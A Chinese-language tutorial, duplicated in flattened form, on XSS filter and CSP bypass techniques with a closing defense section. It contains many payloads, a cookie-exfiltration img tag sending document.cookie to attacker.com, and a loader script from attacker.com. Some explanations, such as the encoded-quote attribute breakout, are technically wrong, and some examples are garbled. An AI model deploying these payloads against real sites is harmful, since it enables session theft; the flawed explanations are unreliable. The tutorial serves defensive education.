跨站脚本攻击(XSS)的变异与绕过技术(实战进阶篇)
字数 4507 2025-12-12 14:20:39

跨站脚本攻击(XSS)的变异与绕过技术(实战进阶篇)

描述
跨站脚本攻击(XSS)是一种经典漏洞,攻击者能在受害者的浏览器中执行恶意脚本。在基础防御(如输入验证、输出编码、CSP)普遍应用的今天,攻击者不断进化出复杂的变异与绕过技术。本知识点将深入剖析高级XSS载荷的构造方法、针对现代防御的绕过技巧,并讲解相应的进阶防护策略。重点不在于理解XSS是什么,而在于理解攻击者如何突破现有防护,以及开发者如何建立纵深防御体系。

解题与讲解过程

第一步:回顾XSS核心与基础防御
XSS的本质在于:攻击者控制的数据被浏览器错误地解释为代码并执行。基础防御围绕两点:

  1. 输入验证/过滤:在服务器端,对用户输入进行清理,移除或转义危险字符(如 <, >, ", ', &)。
  2. 输出编码:在将数据输出到不同HTML上下文时,进行正确的编码(如将 < 转为 &lt;)。
  3. 内容安全策略(CSP):通过HTTP头定义可信源,限制脚本、样式等资源的加载与执行。

攻击者的目标就是绕过这些机制。

第二步:绕过输入过滤与黑名单
当应用使用不完善的黑名单或正则表达式过滤时,可尝试以下变异:

  1. 大小写变异<SCRIPT><ScRiPt> 可能绕过对全小写 <script> 的检测。
  2. 标签属性与事件处理器的变异
    • 使用不常见的标签和事件:<svg onload=alert(1)><svg>, <math>, <details> 等标签都支持事件处理器。
    • 利用HTML属性自动URL解码:<img src=x onerror="alert(1)"> 可编码为 <img src=x onerror=alert(1)>,浏览器执行前会解码。
    • 使用JavaScript伪协议且不带引号:<a href=javascript:alertdocument.domain>click</a>
  3. 绕过特定关键字过滤
    • 字符串拆分与拼接:如果过滤 alert,可使用 eval('al' + 'ert(1)')window['al'+'ert'](1)
    • 使用其他函数:用 promptconfirmconsole.log 替代 alert 进行测试。最终利用时可能用 fetchXMLHttpRequest 发起请求。
    • Unicode或HTML实体编码alert 可编码为 \u0061\u006c\u0065\u0072\u0074alert。如果输出上下文在属性内且被解码,可能成功。
    • 利用String.fromCharCodeeval(String.fromCharCode(97,108,101,114,116,40,49,41))

第三步:利用不完善的输出编码与上下文混淆
输出编码必须与输出上下文严格匹配。混淆上下文是高级攻击的核心。

  1. 从“非代码”上下文逃逸到“代码”上下文

    • 场景:用户输入被放在一个HTML标签属性内,并被正确引号括起和编码,但攻击者能提前关闭属性并引入新属性。
    • 示例:应用代码 <input type="text" value="{{ user_input }}">,并对 user_input 进行了HTML编码("&quot;)。但如果攻击者输入 "><script>alert(1)</script>,经过编码后变为 &quot;><script>alert(1)</script>,最终HTML为 <input type="text" value="&quot;><script>alert(1)</script>">。这里的 &quot; 被浏览器解码为 ",从而提前关闭了 value 属性,并成功注入新标签。防护:在此上下文中,不仅需编码引号,还需编码 ><
  2. 在JavaScript字符串上下文中的逃逸

    • 场景:用户输入被直接放入 <script> 标签内的一个字符串中。
    • 示例<script>var userData = '{{ user_input }}';</script>。应用仅转义了单引号(' -> \')和反斜杠(\ -> \\)。
    • 攻击:输入 </script><script>alert(1)//。经过转义后变为 <\/script><script>alert(1)//。最终HTML为:<script>var userData = '</script><script>alert(1)//';</script>。浏览器解析HTML时,首先看到第一个 <script> 标签,其内的 </script> 被转义为字符串的一部分,但随后的 <script> 会被识别为新的HTML标签,从而开启一个新的脚本块并执行。这利用了HTML解析器优先于JavaScript解析器的原理。
    • 防护:除了转义引号和反斜杠,还需对 <> 进行Unicode转义(\u003c, \u003e),或确保将用户输入作为纯文本数据处理,而非可执行的代码/标签。

第四步:绕过内容安全策略(CSP)
CSP是强大的缓解措施,但配置不当仍可绕过。

  1. 利用允许的脚本源(script-src

    • 如果CSP包含 'unsafe-inline',则内联脚本仍可执行,CSP形同虚设。
    • 如果CSP允许特定域(如 script-src https://cdn.example.com),攻击者需在该域上传恶意JS文件(例如通过可上传文件的子域名,或利用该域的其他XSS漏洞)。
    • 利用JSONP端点:如果允许的域下存在JSONP接口,且攻击者可控制回调函数名,则可构造 <script src="https://trusted-domain.com/api?callback=alert(document.domain)//"></script> 来执行代码。防护:审计允许域下的所有资源,禁用或严格限制JSONP回调函数。
  2. 利用script-src中的'unsafe-eval'

    • 如果开启了 'unsafe-eval',攻击者可通过 eval()setTimeout()Function() 等函数执行动态代码。即使输入被严格过滤,也可通过字符串拼接构造。
  3. 利用其他指令绕过

    • 通过img-srcstyle-src进行数据窃取:即使脚本被阻止,攻击者仍可利用 <img src="https://attacker.com/steal?c='+document.cookie+'"> 来外泄数据,前提是 img-src 允许向攻击者域发起请求。
    • 利用CSP报告机制(report-uri:在某些特定配置下,可构造导致大量违规报告的载荷,形成DoS攻击或干扰分析。

第五步:基于DOM的XSS(DOM XSS)的进阶绕过
DOM XSS的源(Source)和汇(Sink)都在客户端,传统服务器端防护难以覆盖。

  1. 利用不安全的源到汇的数据流

    • location.hashlocation.searchdocument.referrerwindow.namepostMessage 数据等。
    • eval()innerHTMLouterHTMLdocument.write()、某些jQuery方法(如 html())、setTimeout() 的第一个参数为字符串时等。
    • 示例:应用使用 var data = decodeURIComponent(location.hash.substring(1)); document.getElementById('msg').innerHTML = data;。攻击者可构造URL:https://victim.com/page#<img src=x onerror=alert(1)>。受害者访问时,location.hash 被解码后直接放入 innerHTML,触发XSS。
  2. 利用客户端模板框架的疏忽:某些前端框架(如AngularJS 1.x)在沙箱逃逸后,其模板表达式可能执行JavaScript。

第六步:构建多阶段、隐形的攻击载荷
真实攻击往往不会使用明显的 alert(1)

  1. 载荷结构
    • 投放器:一段小巧的初始代码,用于动态加载更大的攻击载荷。例如:<script src=//attacker.com/loader.js></script>
    • 主载荷:执行键盘记录、窃取Cookie/LocalStorage、发起虚假请求(如转账)、挖掘加密货币等恶意操作。
  2. 规避检测
    • 对恶意代码进行混淆和加密。
    • 使用合法的CDN域名或子域名来托管恶意脚本。
    • 延迟执行,或仅在特定用户行为后触发。

第七步:进阶防护策略(纵深防御)

  1. 严格的CSP:部署非宽松的CSP,禁止 'unsafe-inline''unsafe-eval',并谨慎定义允许的源列表。使用 strict-dynamic 结合基于哈希或随机数的策略来安全地允许内联脚本。
  2. 上下文相关的输出编码:使用成熟的库(如OWASP Java Encoder, DOMPurify for JS)进行编码或清理,并明确指定输出上下文(HTML体、HTML属性、JavaScript字符串、CSS、URL)。
  3. 输入验证作为辅助:在服务器端,使用严格的白名单验证输入格式(如邮箱、电话),而非仅依赖黑名单过滤。长度限制也有助于阻碍复杂载荷。
  4. 安全的DOM操作
    • 避免将用户可控数据传递给危险的“汇”函数(如 innerHTML, eval)。优先使用安全的API,如 textContentsetAttribute
    • 使用 document.createElementappendChild 来创建和插入元素。
    • 对框架,使用其提供的安全数据绑定方式(如React的JSX默认转义,Vue的 {{ }} 插值)。
  5. 使用专门的清理库:对于富文本等必须接受HTML的场景,使用如DOMPurify这样的库进行清理,它比简单的正则表达式更可靠。
  6. 漏洞利用缓解:设置 HttpOnlySecure 的Cookie,防止被XSS窃取。考虑使用基于CSP的非ce或哈希来验证脚本完整性。

通过理解这些变异与绕过技术,安全开发者和测试者能够更全面地评估应用对XSS的抵抗力,并实施更有效的纵深防御措施。

跨站脚本攻击(XSS)的变异与绕过技术(实战进阶篇) 描述 跨站脚本攻击(XSS)是一种经典漏洞,攻击者能在受害者的浏览器中执行恶意脚本。在基础防御(如输入验证、输出编码、CSP)普遍应用的今天,攻击者不断进化出复杂的变异与绕过技术。本知识点将深入剖析高级XSS载荷的构造方法、针对现代防御的绕过技巧,并讲解相应的进阶防护策略。重点不在于理解XSS是什么,而在于理解攻击者如何突破现有防护,以及开发者如何建立纵深防御体系。 解题与讲解过程 第一步:回顾XSS核心与基础防御 XSS的本质在于:攻击者控制的 数据 被浏览器错误地解释为 代码 并执行。基础防御围绕两点: 输入验证/过滤 :在服务器端,对用户输入进行清理,移除或转义危险字符(如 < , > , " , ' , & )。 输出编码 :在将数据输出到不同HTML上下文时,进行正确的编码(如将 < 转为 &lt; )。 内容安全策略(CSP) :通过HTTP头定义可信源,限制脚本、样式等资源的加载与执行。 攻击者的目标就是绕过这些机制。 第二步:绕过输入过滤与黑名单 当应用使用不完善的黑名单或正则表达式过滤时,可尝试以下变异: 大小写变异 : <SCRIPT> 或 <ScRiPt> 可能绕过对全小写 <script> 的检测。 标签属性与事件处理器的变异 : 使用不常见的标签和事件: <svg onload=alert(1)> 。 <svg> , <math> , <details> 等标签都支持事件处理器。 利用HTML属性自动URL解码: <img src=x onerror="alert(1)"> 可编码为 <img src=x onerror=alert(1)> ,浏览器执行前会解码。 使用JavaScript伪协议且不带引号: <a href=javascript:alert document.domain >click</a> 。 绕过特定关键字过滤 : 字符串拆分与拼接 :如果过滤 alert ,可使用 eval('al' + 'ert(1)') 或 window['al'+'ert'](1) 。 使用其他函数 :用 prompt 、 confirm 或 console.log 替代 alert 进行测试。最终利用时可能用 fetch 或 XMLHttpRequest 发起请求。 Unicode或HTML实体编码 : alert 可编码为 \u0061\u006c\u0065\u0072\u0074 或 alert 。如果输出上下文在属性内且被解码,可能成功。 利用 String.fromCharCode : eval(String.fromCharCode(97,108,101,114,116,40,49,41)) 。 第三步:利用不完善的输出编码与上下文混淆 输出编码必须与输出 上下文 严格匹配。混淆上下文是高级攻击的核心。 从“非代码”上下文逃逸到“代码”上下文 : 场景 :用户输入被放在一个HTML标签属性内,并被正确引号括起和编码,但攻击者能提前关闭属性并引入新属性。 示例 :应用代码 <input type="text" value="{{ user_input }}"> ,并对 user_input 进行了HTML编码( " 转 &quot; )。但如果攻击者输入 "><script>alert(1)</script> ,经过编码后变为 &quot;><script>alert(1)</script> ,最终HTML为 <input type="text" value="&quot;><script>alert(1)</script>"> 。这里的 &quot; 被浏览器解码为 " ,从而提前关闭了 value 属性,并成功注入新标签。 防护 :在此上下文中,不仅需编码引号,还需编码 > 和 < 。 在JavaScript字符串上下文中的逃逸 : 场景 :用户输入被直接放入 <script> 标签内的一个字符串中。 示例 : <script>var userData = '{{ user_input }}';</script> 。应用仅转义了单引号( ' -> \' )和反斜杠( \ -> \\ )。 攻击 :输入 </script><script>alert(1)// 。经过转义后变为 <\/script><script>alert(1)// 。最终HTML为: <script>var userData = '</script><script>alert(1)//';</script> 。浏览器解析HTML时,首先看到第一个 <script> 标签,其内的 </script> 被转义为字符串的一部分,但随后的 <script> 会被识别为 新的HTML标签 ,从而开启一个新的脚本块并执行。这利用了HTML解析器优先于JavaScript解析器的原理。 防护 :除了转义引号和反斜杠,还需对 < 和 > 进行Unicode转义( \u003c , \u003e ),或确保将用户输入作为纯文本数据处理,而非可执行的代码/标签。 第四步:绕过内容安全策略(CSP) CSP是强大的缓解措施,但配置不当仍可绕过。 利用允许的脚本源( script-src ) : 如果CSP包含 'unsafe-inline' ,则内联脚本仍可执行,CSP形同虚设。 如果CSP允许特定域(如 script-src https://cdn.example.com ),攻击者需在该域上传恶意JS文件(例如通过可上传文件的子域名,或利用该域的其他XSS漏洞)。 利用JSONP端点 :如果允许的域下存在JSONP接口,且攻击者可控制回调函数名,则可构造 <script src="https://trusted-domain.com/api?callback=alert(document.domain)//"></script> 来执行代码。 防护 :审计允许域下的所有资源,禁用或严格限制JSONP回调函数。 利用 script-src 中的 'unsafe-eval' : 如果开启了 'unsafe-eval' ,攻击者可通过 eval() 、 setTimeout() 、 Function() 等函数执行动态代码。即使输入被严格过滤,也可通过字符串拼接构造。 利用其他指令绕过 : 通过 img-src 或 style-src 进行数据窃取 :即使脚本被阻止,攻击者仍可利用 <img src="https://attacker.com/steal?c='+document.cookie+'"> 来外泄数据,前提是 img-src 允许向攻击者域发起请求。 利用CSP报告机制( report-uri ) :在某些特定配置下,可构造导致大量违规报告的载荷,形成DoS攻击或干扰分析。 第五步:基于DOM的XSS(DOM XSS)的进阶绕过 DOM XSS的源(Source)和汇(Sink)都在客户端,传统服务器端防护难以覆盖。 利用不安全的源到汇的数据流 : 源 : location.hash 、 location.search 、 document.referrer 、 window.name 、 postMessage 数据等。 汇 : eval() 、 innerHTML 、 outerHTML 、 document.write() 、某些jQuery方法(如 html() )、 setTimeout() 的第一个参数为字符串时等。 示例 :应用使用 var data = decodeURIComponent(location.hash.substring(1)); document.getElementById('msg').innerHTML = data; 。攻击者可构造URL: https://victim.com/page#<img src=x onerror=alert(1)> 。受害者访问时, location.hash 被解码后直接放入 innerHTML ,触发XSS。 利用客户端模板框架的疏忽 :某些前端框架(如AngularJS 1.x)在沙箱逃逸后,其模板表达式可能执行JavaScript。 第六步:构建多阶段、隐形的攻击载荷 真实攻击往往不会使用明显的 alert(1) 。 载荷结构 : 投放器 :一段小巧的初始代码,用于动态加载更大的攻击载荷。例如: <script src=//attacker.com/loader.js></script> 。 主载荷 :执行键盘记录、窃取Cookie/LocalStorage、发起虚假请求(如转账)、挖掘加密货币等恶意操作。 规避检测 : 对恶意代码进行混淆和加密。 使用合法的CDN域名或子域名来托管恶意脚本。 延迟执行,或仅在特定用户行为后触发。 第七步:进阶防护策略(纵深防御) 严格的CSP :部署非宽松的CSP,禁止 'unsafe-inline' 和 'unsafe-eval' ,并谨慎定义允许的源列表。使用 strict-dynamic 结合基于哈希或随机数的策略来安全地允许内联脚本。 上下文相关的输出编码 :使用成熟的库(如OWASP Java Encoder, DOMPurify for JS)进行编码或清理,并明确指定输出上下文(HTML体、HTML属性、JavaScript字符串、CSS、URL)。 输入验证作为辅助 :在服务器端,使用严格的白名单验证输入格式(如邮箱、电话),而非仅依赖黑名单过滤。长度限制也有助于阻碍复杂载荷。 安全的DOM操作 : 避免将用户可控数据传递给危险的“汇”函数(如 innerHTML , eval )。优先使用安全的API,如 textContent 或 setAttribute 。 使用 document.createElement 和 appendChild 来创建和插入元素。 对框架,使用其提供的安全数据绑定方式(如React的JSX默认转义,Vue的 {{ }} 插值)。 使用专门的清理库 :对于富文本等必须接受HTML的场景,使用如DOMPurify这样的库进行清理,它比简单的正则表达式更可靠。 漏洞利用缓解 :设置 HttpOnly 和 Secure 的Cookie,防止被XSS窃取。考虑使用基于CSP的非ce或哈希来验证脚本完整性。 通过理解这些变异与绕过技术,安全开发者和测试者能够更全面地评估应用对XSS的抵抗力,并实施更有效的纵深防御措施。